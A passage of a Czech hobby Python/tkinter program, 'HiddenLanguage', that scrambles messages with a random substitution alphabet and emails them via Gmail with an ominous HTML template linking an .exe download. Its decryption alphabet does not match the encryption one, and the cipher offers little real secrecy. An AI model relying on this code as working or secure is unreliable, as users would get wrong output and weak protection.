        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=10)

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #------------------------------------------------------------

        # Tady jsou definovány checkboxy které se ptají na návod a přezdívku
        #Funkce SE SPUSTÍ JAKMILE UŽIVATEL ZMÁČKNE TLAČÍTKO PRO ULOŽENÍ



        def otevri_vyskakovaci_okno():
            vyskakovaci_okno = tk.Toplevel()
            vyskakovaci_okno.geometry("900x500")
            vyskakovaci_okno.title("Nastavení nápovědy v mailu")


            # Tady je definován textbox který se objeví jakmile je v druhé možnosti zaškrtnuto jakože ano
            # Tady bude textbox, který se zobrazí pouze jakmile je zaškrtnutá možnost 1
            def on_text_click(event):
                if textbox.get("1.0",
                               tk.END).strip() == "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!":
                    textbox.delete("1.0", tk.END)  # Smazat původní text při kliknutí do pole
                    textbox.config(fg='black')  # Změnit barvu textu na černou

            def on_focus_out(event):
                if textbox.get("1.0", tk.END).strip() == "":
                    textbox.insert("1.0",
                                   "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!")  # Pokud uživatel nezadal žádný text, vrátit původní placeholder
                    textbox.config(fg='grey')  # Nastavit barvu textu na šedou

            # Placeholder - původní text, který se zobrazuje, dokud uživatel nezačne psát
            placeholder = "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!"

            textbox = tk.Text(vyskakovaci_okno, height=3, width=40, wrap="word", fg='grey',font=("Arial",10))
            textbox.insert("1.0", placeholder)
            textbox.bind('<FocusIn>', on_text_click)  # Při kliknutí do pole
            textbox.bind('<FocusOut>', on_focus_out)  # Když pole ztratí focus (kliknutí mimo pole)
            #KONEC TEXTBOXUUUUUUUUUUU

            def on_checkbox_click():
                if napoveda.get() == 1:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ano")
                else:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ne")

            def chce_jmeno_checkbox_klik():
                if chce_jmeno_y_n.get() == 1:
                    textbox.pack(pady=10)
                else:
                    textbox.pack_forget()

            # Zde jsou checkboxy a otazky
            label = tk.Label(vyskakovaci_okno, text="Nastavení nápovědy", font=("Arial", 20),activeforeground="blue")
            label.pack(pady=10)
            label_napoveda = tk.Label(vyskakovaci_okno,
                                      text="A) Pokud zaškrtnete checkbox, tak bude mail obsahovat návod k dešifrování zprávy." + "\n" + "Pokud nezaškrtnete checkbox, tak nápověda v mailu nebude.",font=("Arial",11),activeforeground="blue")
            label_napoveda.pack(pady=10)

            napoveda = tk.IntVar()
            checkbox = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci aby email obsahoval nápovědu k řešení",
                                      font=("Arial", 12), variable=napoveda, command=on_checkbox_click)
            checkbox.pack(pady=10)


            # Tady je část kodu jenž se zaobývá uživatelem
            label_uzivatel = tk.Label(vyskakovaci_okno,
                                      text="B) Tady je checkbox, který pokud zaškrtnete tak budete mít možnost vymyslet si vlastní přezdívku." + "\n" + "Pokud nezaškrtnete tuto možnost, tak počítač při odeslání mailu přečte název vašeho usera na pc např host nebo tomáš apod.",
                                      font=("Arial", 11), activeforeground="blue")
            label_uzivatel.pack(pady=10)

            chce_jmeno_y_n = tk.IntVar()
            jmeno_uzivatele = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci si sám vytvořit přezdívku",
                                      font=("Arial", 12), variable=chce_jmeno_y_n, command=chce_jmeno_checkbox_klik)
            jmeno_uzivatele.pack(pady=10)

            #Toto uloží hodnoty z checkboxu
            def ulozeni_hodnot():
                import json
                if chce_jmeno_y_n.get() == 1:
                    prezdivka = textbox.get("1.0", "end-1c")

                    data = {
    "chce_prezdivku": True,
    "prezdivka": prezdivka
                    }

                    with open("prezdivka.json", "w") as json_file:
                        json.dump(data, json_file)
                vyskakovaci_okno.destroy()


            odeslat_button = tk.Button(vyskakovaci_okno,height=3,width=20,text="Potvrdit",command=ulozeni_hodnot,font=("Arial",16,"bold"),bg="blue",fg="white",activeforeground="black")
            odeslat_button.place(x=320,y=360)


        specialni_nastaveni = tk.Button(sifrovani_okno,text="Speciální nastavení",command=otevri_vyskakovaci_okno,font=("Arial",12,"bold"),bg="red",fg="white",activeforeground="black")
        specialni_nastaveni.pack(pady=5)


        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            import json
            import datetime

            with open("prezdivka.json", "r") as json_file:
                nactena_data = json.load(json_file)

            chceprezdivku = nactena_data["chce_prezdivku"]
            if chceprezdivku == True:
                qw = nactena_data["prezdivka"]
            else:
                qw = getpass.getuser()

            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        def Zpet_do_menu():
            desifrovani_okno.destroy()
            Uvodni_menu()

        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",15))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack(pady=10)

        def Redirect():
            # Toto je kod který se spustí po kliknutí na dešifrovácí tlačitko
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=15)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()


        # Tlačítka
        tlacitko_desifrovani = tk.Button(desifrovani_okno, text="Dešifrovat zprávu", command=Redirect, height=1,
                                         width=15, font=("Arial", 15,"bold"), bg="blue", fg="white")
        tlacitko_desifrovani.pack(pady=20)


        zpet_do_menu = tk.Button(desifrovani_okno, text="Zpět do menu", command=Zpet_do_menu,
                                   font=("Arial", 15, "bold"), bg="blue", fg="white", activeforeground="black")
        zpet_do_menu.pack(pady=10)


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole









        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()

    # --------------------------------



    def Audio():
        import webbrowser
        audio_okno = tk.Tk()
        audio_okno.title("Audio informace")
        audio_okno.geometry("600x500")
        audio_okno.configure(bg="black")

        nazev = tk.Label(audio_okno,text="Audio informace",font=("Arial",25,"bold"),fg="blue",bg="black")
        nazev.pack(pady=10)
        podnadpis = tk.Label(audio_okno,text="Zde uslyšíte základní informace o projektu" + "\n" + "Kliknutím na malé tlačítko budete přesměrování na zdroj tts" + "\n" + "Dole je tlačítko na nahlášení bugu" + "\n" + "Takže pokud jste našli jakýkoliv bug, tak neváhejte a kontaktujte mě.",font=("Arial",13),fg="white",bg="black")
        podnadpis.pack(pady=10)

        # Tady budeme definovat akci když klikne na tlačítko s url
        def Web():
            url = "https://www.speechtech.cz/speechtech-text-to-speech/speechtech-tts-online-demo/#Oldrich30"
            webbrowser.open(url)

        web_button = tk.Button(audio_okno,width=15,height=1,command=Web,text="Zdroj TTS",font=("Arial",13),bg="blue",fg="white",activebackground="white", activeforeground="blue")
        web_button.pack(pady=10)



        from playsound import playsound
        def zpet_do_menu():
            audio_okno.destroy()
            tlacitko_klik()


        def spustit_audio():
            import getpass
            username = getpass.getuser()
            cesta_audio = ("C:\\Users\\" + str(username) + "\\Desktop\\HiddenLanguageAudio.mp3")
            playsound(cesta_audio)

        spustit_audio = tk.Button(audio_okno,width=25,height=3,command=spustit_audio,text="Spustit audio",font=("Arial",15),bg="blue",fg="white",activebackground="white", activeforeground="blue")
        spustit_audio.pack(pady=10)

        # Button pro vypnuti progresu a audia
        zastavit_audio = tk.Button(audio_okno, width=15, height=1, command=zpet_do_menu, text="Zpět do menu",
                                       font=("Arial", 15), bg="blue", fg="white", activebackground="white",
                                       activeforeground="blue")
        zastavit_audio.pack(pady=10)

        # Tlačítko na bugy
        def copy_to_clipboard():
            import tkinter.messagebox as mbox
            import pyperclip
            text_to_copy = "g3c45g8mkcdhaoigpg5q@centrum.cz"  # Získáme text z vstupního pole
            pyperclip.copy(text_to_copy)  # Zkopírujeme text do schránky
            mbox.showinfo("Úspěch", "Moje anonymní e-mailová adresa zkopírována do schránky.")


        nahlaseni_bugu = tk.Button(audio_okno, width=13, height=1, command=copy_to_clipboard, text="Nahlásit bug",
                                       font=("Arial", 13), bg="red", fg="white", activebackground="white",
                                       activeforeground="blue")
        nahlaseni_bugu.pack(pady=10)






        audio_okno.mainloop()


    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)
    prostor_button.columnconfigure(3,weight=10)

    # Tady je tlačítko na šifrování
    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="#F07474",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    # Tady je tlačítko na dešifrování
    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="#9CEF99",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)

    # Nově přidané audio info zde
    tlacitko_audio = tk.Button(prostor_button, text="Informace", command=Audio,
                               font=("Arial", 15, "bold"), width=50, height=4, bg="black", fg="white",
                               activebackground="white", activeforeground="black")
    tlacitko_audio.grid(row=2, column=0, sticky=tk.W + tk.E)

    # Tady je tlačítko na zpět do menu
    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=3,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()



def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x600")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"),fg="blue")
    nazev.pack()

    aktualni_update = tk.Label(okno, text="Aktuální verze 1.1 ze dne 2023-07-29", font=("Arial", 15, "bold"),fg="blue",bg="#A1B7FF")
    aktualni_update.pack()
    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    copyright = tk.Label(okno, text="Naprogramoval Jakub Šobr 2023", font=("Arial", 9))
    copyright.pack()

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():

    import tkinter as tk
    import time

    def update_time():
        current_time = time.strftime("%d.%m %Y - %H:%M:%S")
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)

    def tlacitko_potvrdit_heslo():
        uzivatel= entry_uzivatel.get()
        heslo = entry_password.get()
        if heslo == "***" and uzivatel == "***" or heslo == "host" and uzivatel == "host":
            label_error.config(text="Zadali jste správné heslo.", font=("Arial", 10), fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
            Uvodni_menu()
        else:
            label_error.config(text="Neplatné uživatelské jméno nebo heslo.",font=("Arial",10))
            entry_password.delete(0, tk.END)
            entry_uzivatel.delete(0, tk.END)

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    def on_close():
        pass  # Prázdná funkce zabrání zavření okna

    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    prihlaseni.protocol("WM_DELETE_WINDOW", on_close)  # Zavolání funkce on_close při pokusu o zavření okna

    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)


    # TADY JE KOLONKA NA UŽIVATELE
    label_uzivatel = tk.Label(prihlaseni,text="Zadejte uživatelské jméno:",font=("Arial",20))
    label_uzivatel.pack()

    entry_uzivatel = tk.Entry(prihlaseni, font=("Arial", 20))
    entry_uzivatel.pack(pady=20)

    #KOLONKA NA HESLO
    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)
    #konec kolonky a potvrzení v podobe tlacitka


    prihlaseni_button = tk.Button(prihlaseni, text="Potvrdit",bg="blue",fg="white", font=("Arial", 20), command=tlacitko_potvrdit_heslo)
    prihlaseni_button.pack(pady=10)

    # Tady je ukončení programu definitivně!!
    def Konec():
        exit()
    konec = tk.Button(prihlaseni, text="Opustit aplikaci", command=Konec,
                                  font=("Arial", 12, "bold"), bg="red", fg="white", activeforeground="black")
    konec.pack()


    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()

    prihlaseni.mainloop()
Prihlaseni()
Uvodni_menu()

#HiddenLanguage 2023 made by Jakub Šobr
#Můžete se podívat ale heslo FR FR nikde není ukládaný, nejsem cockot
